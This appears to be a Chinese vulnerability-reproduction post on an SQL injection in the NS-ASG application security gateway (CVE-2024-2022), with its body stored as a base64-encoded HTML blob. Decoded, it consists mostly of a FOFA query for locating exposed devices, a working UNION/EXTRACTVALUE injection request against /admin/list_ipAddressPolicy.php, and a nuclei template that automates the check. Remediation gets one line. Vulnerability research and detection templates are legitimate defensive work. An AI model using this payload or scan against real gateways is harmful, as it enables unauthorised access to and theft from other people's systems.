【漏洞复现】网康科技NS-ASG 应用安全网关存在SQL注入漏洞(CVE-2024-2022)

PGgzPjxhIG5hbWU9Iua8j+a0nuaPj+i/sCI+PC9hPjxzcGFuPjwvc3Bhbj7mvI/mtJ7mj4/ov7A8L2gzPjxwPue9keW6t+enkeaKgCBOUy1BU0cgQXBwbGljYXRpb24gU2VjdXJpdHkgR2F0ZXdheSA2LjPlrZjlnKjkuIDkuKpTUUzms6jlhaXmvI/mtJ7vvIznlLHkuo4vYWRtaW4vbGlzdF9pcEFkZHJlc3NQb2xpY3kucGhw5Lit5a+55Y+C5pWwR3JvdXBJZOayoeaciei/m+ihjOS4peagvOeahOi/h+a7pOWSjOagoemqjO+8jOacque7j+i6q+S7vemqjOivgeeahOaUu+WHu+iAheWPr+S7pei/nOeoi+WPkei1t+aUu+WHu+iOt+WPluacjeWKoeWZqOaVj+aEn+aVsOaNruOAgjwvcD4KPGgzPjxhIG5hbWU9IuS6p+WTgeeVjOmdoiI+PC9hPjxzcGFuPjwvc3Bhbj7kuqflk4HnlYzpnaI8L2gzPjxwPjxpbWcgc3JjPSJodHRwczovL25jMC5jZG4uemthcS5jbi9tZC8yMTIxMi9mNGM1MTJmMWQ2YTY0MzFlOTg3MGNhZDkzZWJkM2MwZl81OTkxNy5wbmciIGFsdD0iIj48L3A+CjxoMz48YSBuYW1lPSJmb2Zh6K+t5rOVIj48L2E+PHNwYW4+PC9zcGFuPmZvZmHor63ms5U8L2gzPjxwPjxjb2RlPmFwcD0i572R5bq356eR5oqALU5TLUFTR+WuieWFqOe9keWFsyI8L2NvZGU+PC9wPgo8aDM+PGEgbmFtZT0icG9jIj48L2E+PHNwYW4+PC9zcGFuPnBvYzwvaDM+PHByZT48b2w+PGxpPjxjb2RlPjxzcGFuPkdFVCA8L3NwYW4+PHNwYW4+Lzwvc3Bhbj48c3Bhbj5hZG1pbjwvc3Bhbj48c3Bhbj4vPC9zcGFuPjxzcGFuPmxpc3RfaXBBZGRyZXNzUG9saWN5PC9zcGFuPjxzcGFuPi48L3NwYW4+PHNwYW4+cGhwPC9zcGFuPjxzcGFuPj88L3NwYW4+PHNwYW4+R3JvdXBJZDwvc3Bhbj48c3Bhbj49LTwvc3Bhbj48c3Bhbj4xPC9zcGFuPjxzcGFuPis8L3NwYW4+PHNwYW4+VU5JT048L3NwYW4+PHNwYW4+Kzwvc3Bhbj48c3Bhbj5BTEw8L3NwYW4+PHNwYW4+Kzwvc3Bhbj48c3Bhbj5TRUxFQ1Q8L3NwYW4+PHNwYW4+Kzwvc3Bhbj48c3Bhbj5FWFRSQUNUVkFMVUU8L3NwYW4+PHNwYW4+KDwvc3Bhbj48c3Bhbj4xPC9zcGFuPjxzcGFuPiw8L3NwYW4+PHNwYW4+Y29uY2F0PC9zcGFuPjxzcGFuPig8L3NwYW4+PHNwYW4+MHg3ZTwvc3Bhbj48c3Bhbj4sKDwvc3Bhbj48c3Bhbj5zZWxlY3Q8L3NwYW4+PHNwYW4+Kzwvc3Bhbj48c3Bhbj51c2VyPC9zcGFuPjxzcGFuPigpKSw8L3NwYW4+PHNwYW4+MHg3ZTwvc3Bhbj48c3Bhbj4pKTwvc3Bhbj48c3Bhbj4gSFRUUDwvc3Bhbj48c3Bhbj4vPC9zcGFuPjxzcGFuPjEuMTwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+SG9zdDwvc3Bhbj48c3Bhbj46PC9zcGFuPjxzcGFuPiA8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPlVzZXI8L3NwYW4+PHNwYW4+LTwvc3Bhbj48c3Bhbj5BZ2VudDwvc3Bhbj48c3Bhbj46PC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+TW96aWxsYTwvc3Bhbj48c3Bhbj4vPC9zcGFuPjxzcGFuPjUuMDwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPig8L3NwYW4+PHNwYW4+V2luZG93czwvc3Bhbj48c3Bhbj4gTlQgPC9zcGFuPjxzcGFuPjEwLjA8L3NwYW4+PHNwYW4+Ozwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPldpbjY0PC9zcGFuPjxzcGFuPjs8L3NwYW4+PHNwYW4+IHg2NDwvc3Bhbj48c3Bhbj4pPC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+QXBwbGVXZWJLaXQ8L3NwYW4+PHNwYW4+Lzwvc3Bhbj48c3Bhbj41MzcuMzY8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj4oPC9zcGFuPjxzcGFuPktIVE1MPC9zcGFuPjxzcGFuPiw8L3NwYW4+PHNwYW4+IGxpa2UgPC9zcGFuPjxzcGFuPkdlY2tvPC9zcGFuPjxzcGFuPik8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj5DaHJvbWU8L3NwYW4+PHNwYW4+Lzwvc3Bhbj48c3Bhbj4xMjIuMDwvc3Bhbj48c3Bhbj4uPC9zcGFuPjxzcGFuPjAuMDwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPlNhZmFyaTwvc3Bhbj48c3Bhbj4vPC9zcGFuPjxzcGFuPjUzNy4zNjwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPkVkZzwvc3Bhbj48c3Bhbj4vPC9zcGFuPjxzcGFuPjEyMi4wPC9zcGFuPjxzcGFuPi48L3NwYW4+PHNwYW4+MC4wPC9zcGFuPjwvY29kZT48L2xpPjwvb2w+PC9wcmU+PGgzPjxhIG5hbWU9Im51Y2xlaemqjOivgSI+PC9hPjxzcGFuPjwvc3Bhbj5udWNsZWnpqozor4E8L2gzPjxwcmU+PG9sPjxsaT48Y29kZT48c3Bhbj5pZDwvc3Bhbj48c3Bhbj46PC9zcGFuPjxzcGFuPiBDVkU8L3NwYW4+PHNwYW4+LTwvc3Bhbj48c3Bhbj4yMDI0PC9zcGFuPjxzcGFuPi08L3NwYW4+PHNwYW4+MjAyMjwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPmluZm88L3NwYW4+PHNwYW4+Ojwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICBuYW1lPC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj7nvZHlurfnp5HmioA8L3NwYW4+PHNwYW4+TlM8L3NwYW4+PHNwYW4+LTwvc3Bhbj48c3Bhbj5BU0cgPC9zcGFuPjxzcGFuPuW6lOeUqOWuieWFqOe9keWFsy88L3NwYW4+PHNwYW4+YWRtaW48L3NwYW4+PHNwYW4+Lzwvc3Bhbj48c3Bhbj5saXN0X2lwQWRkcmVzc1BvbGljeTwvc3Bhbj48c3Bhbj4uPC9zcGFuPjxzcGFuPnBocDwvc3Bhbj48c3Bhbj7mjqXlj6PlrZjlnKg8L3NwYW4+PHNwYW4+U1FMPC9zcGFuPjxzcGFuPuazqOWFpea8j+a0nig8L3NwYW4+PHNwYW4+Q1ZFPC9zcGFuPjxzcGFuPi08L3NwYW4+PHNwYW4+MjAyNDwvc3Bhbj48c3Bhbj4tPC9zcGFuPjxzcGFuPjIwMjI8L3NwYW4+PHNwYW4+KTwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICBhdXRob3I8L3NwYW4+PHNwYW4+Ojwvc3Bhbj48c3Bhbj4gbm9ib2R5PC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gIHNldmVyaXR5PC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IGNyaXRpY2FsPC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gIGRlc2NyaXB0aW9uPC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj58PC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgPC9zcGFuPjxzcGFuPue9keW6t+enkeaKgDwvc3Bhbj48c3Bhbj4gTlM8L3NwYW4+PHNwYW4+LTwvc3Bhbj48c3Bhbj5BU0cgPC9zcGFuPjxzcGFuPkFwcGxpY2F0aW9uPC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+U2VjdXJpdHk8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj5HYXRld2F5PC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+Ni4zPC9zcGFuPjxzcGFuPuWtmOWcqOS4gOS4qjwvc3Bhbj48c3Bhbj5TUUw8L3NwYW4+PHNwYW4+5rOo5YWl5ryP5rSe77yM55Sx5LqOLzwvc3Bhbj48c3Bhbj5hZG1pbjwvc3Bhbj48c3Bhbj4vPC9zcGFuPjxzcGFuPmxpc3RfaXBBZGRyZXNzUG9saWN5PC9zcGFuPjxzcGFuPi48L3NwYW4+PHNwYW4+cGhwPC9zcGFuPjxzcGFuPuS4reWvueWPguaVsDwvc3Bhbj48c3Bhbj5Hcm91cElkPC9zcGFuPjxzcGFuPuayoeaciei/m+ihjOS4peagvOeahOi/h+a7pOWSjOagoemqjO+8jOacque7j+i6q+S7vemqjOivgeeahOaUu+WHu+iAheWPr+S7pei/nOeoi+WPkei1t+aUu+WHu+iOt+WPluacjeWKoeWZqOaVj+aEn+aVsOaNruOAgjwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICBpbXBhY3Q8L3NwYW4+PHNwYW4+Ojwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPnw8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICA8L3NwYW4+PHNwYW4+5pS75Ye76ICF6YCa6L+H6K+l5ryP5rSe5Y+v6I635Y+W5pyN5Yqh5Zmo5pWP5oSf5pWw5o2u44CCPC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gIHJlbWVkaWF0aW9uPC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj58PC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgPC9zcGFuPjxzcGFuPuWNh+e6p+eJiOacrO+8jOaJk+ihpeS4gTwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICBtZXRhZGF0YTwvc3Bhbj48c3Bhbj46PC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgdmVyaWZpZWQ8L3NwYW4+PHNwYW4+Ojwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPnRydWU8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICBtYXg8L3NwYW4+PHNwYW4+LTwvc3Bhbj48c3Bhbj5yZXF1ZXN0PC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj4zPC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgZm9mYTwvc3Bhbj48c3Bhbj4tPC9zcGFuPjxzcGFuPnF1ZXJ5PC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IGFwcDwvc3Bhbj48c3Bhbj49PC9zcGFuPjxzcGFuPiLnvZHlurfnp5HmioAtTlMtQVNH5a6J5YWo572R5YWzIjwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICB0YWdzPC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IGN2ZTwvc3Bhbj48c3Bhbj4sPC9zcGFuPjxzcGFuPmN2ZTAyNDwvc3Bhbj48c3Bhbj4sPC9zcGFuPjxzcGFuPk5TPC9zcGFuPjxzcGFuPi08L3NwYW4+PHNwYW4+QVNHPC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+cmVxdWVzdHM8L3NwYW4+PHNwYW4+Ojwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICA8L3NwYW4+PHNwYW4+LTwvc3Bhbj48c3Bhbj4gcmF3PC9zcGFuPjxzcGFuPjo8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICAgIDwvc3Bhbj48c3Bhbj4tPC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+fDwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICAgICAgICBHRVQgPC9zcGFuPjxzcGFuPi88L3NwYW4+PHNwYW4+YWRtaW48L3NwYW4+PHNwYW4+Lzwvc3Bhbj48c3Bhbj5saXN0X2lwQWRkcmVzc1BvbGljeTwvc3Bhbj48c3Bhbj4uPC9zcGFuPjxzcGFuPnBocDwvc3Bhbj48c3Bhbj4/PC9zcGFuPjxzcGFuPkdyb3VwSWQ8L3NwYW4+PHNwYW4+PS08L3NwYW4+PHNwYW4+MTwvc3Bhbj48c3Bhbj4rPC9zcGFuPjxzcGFuPlVOSU9OPC9zcGFuPjxzcGFuPis8L3NwYW4+PHNwYW4+QUxMPC9zcGFuPjxzcGFuPis8L3NwYW4+PHNwYW4+U0VMRUNUPC9zcGFuPjxzcGFuPis8L3NwYW4+PHNwYW4+RVhUUkFDVFZBTFVFPC9zcGFuPjxzcGFuPig8L3NwYW4+PHNwYW4+MTwvc3Bhbj48c3Bhbj4sPC9zcGFuPjxzcGFuPmNvbmNhdDwvc3Bhbj48c3Bhbj4oPC9zcGFuPjxzcGFuPjB4N2U8L3NwYW4+PHNwYW4+LCg8L3NwYW4+PHNwYW4+c2VsZWN0PC9zcGFuPjxzcGFuPis8L3NwYW4+PHNwYW4+dXNlcjwvc3Bhbj48c3Bhbj4oKSksPC9zcGFuPjxzcGFuPjB4N2U8L3NwYW4+PHNwYW4+KSk8L3NwYW4+PHNwYW4+IEhUVFA8L3NwYW4+PHNwYW4+Lzwvc3Bhbj48c3Bhbj4xLjE8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICAgICAgPC9zcGFuPjxzcGFuPkhvc3Q8L3NwYW4+PHNwYW4+Ojwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPnt7PC9zcGFuPjxzcGFuPkhvc3RuYW1lPC9zcGFuPjxzcGFuPn19PC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgICAgIDwvc3Bhbj48c3Bhbj5Vc2VyPC9zcGFuPjxzcGFuPi08L3NwYW4+PHNwYW4+QWdlbnQ8L3NwYW4+PHNwYW4+Ojwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPk1vemlsbGE8L3NwYW4+PHNwYW4+Lzwvc3Bhbj48c3Bhbj41LjA8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj4oPC9zcGFuPjxzcGFuPldpbmRvd3M8L3NwYW4+PHNwYW4+IE5UIDwvc3Bhbj48c3Bhbj4xMC4wPC9zcGFuPjxzcGFuPjs8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj5XaW42NDwvc3Bhbj48c3Bhbj47PC9zcGFuPjxzcGFuPiB4NjQ8L3NwYW4+PHNwYW4+KTwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPkFwcGxlV2ViS2l0PC9zcGFuPjxzcGFuPi88L3NwYW4+PHNwYW4+NTM3LjM2PC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+KDwvc3Bhbj48c3Bhbj5LSFRNTDwvc3Bhbj48c3Bhbj4sPC9zcGFuPjxzcGFuPiBsaWtlIDwvc3Bhbj48c3Bhbj5HZWNrbzwvc3Bhbj48c3Bhbj4pPC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+Q2hyb21lPC9zcGFuPjxzcGFuPi88L3NwYW4+PHNwYW4+MTIyLjA8L3NwYW4+PHNwYW4+Ljwvc3Bhbj48c3Bhbj4wLjA8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj5TYWZhcmk8L3NwYW4+PHNwYW4+Lzwvc3Bhbj48c3Bhbj41MzcuMzY8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj5FZGc8L3NwYW4+PHNwYW4+Lzwvc3Bhbj48c3Bhbj4xMjIuMDwvc3Bhbj48c3Bhbj4uPC9zcGFuPjxzcGFuPjAuMDwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICAgIG1hdGNoZXJzPC9zcGFuPjxzcGFuPi08L3NwYW4+PHNwYW4+Y29uZGl0aW9uPC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj5hbmQ8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICBtYXRjaGVyczwvc3Bhbj48c3Bhbj46PC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgICA8L3NwYW4+PHNwYW4+LTwvc3Bhbj48c3Bhbj4gdHlwZTwvc3Bhbj48c3Bhbj46PC9zcGFuPjxzcGFuPiB3b3JkPC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgICAgIHBhcnQ8L3NwYW4+PHNwYW4+Ojwvc3Bhbj48c3Bhbj4gYm9keTwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICAgICAgICB3b3Jkczwvc3Bhbj48c3Bhbj46PC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgICAgICAgPC9zcGFuPjxzcGFuPi08L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj4ibG9jYWxob3N0Ijwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICAgIDwvc3Bhbj48c3Bhbj4tPC9zcGFuPjxzcGFuPiB0eXBlPC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IHN0YXR1czwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICAgICAgICBzdGF0dXM8L3NwYW4+PHNwYW4+Ojwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICAgICAgICAgIDwvc3Bhbj48c3Bhbj4tPC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+MjAwPC9zcGFuPjwvY29kZT48L2xpPjwvb2w+PC9wcmU+PHA+PGltZyBzcmM9Imh0dHBzOi8vbmMwLmNkbi56a2FxLmNuL21kLzIxMjEyLzM5ZTRmYTc4MjM0MzlmNWQ3ZGRkOTgxYjhlMDEzZGMzXzQxNzkzLnBuZyIgYWx0PSIiPjwvcD4KPGgzPjxhIG5hbWU9IuS/ruWkjeW7uuiuriI+PC9hPjxzcGFuPjwvc3Bhbj7kv67lpI3lu7rorq48L2gzPjxwPuWNh+e6p+WIsOacgOaWsOeJiOacrDwvcD4=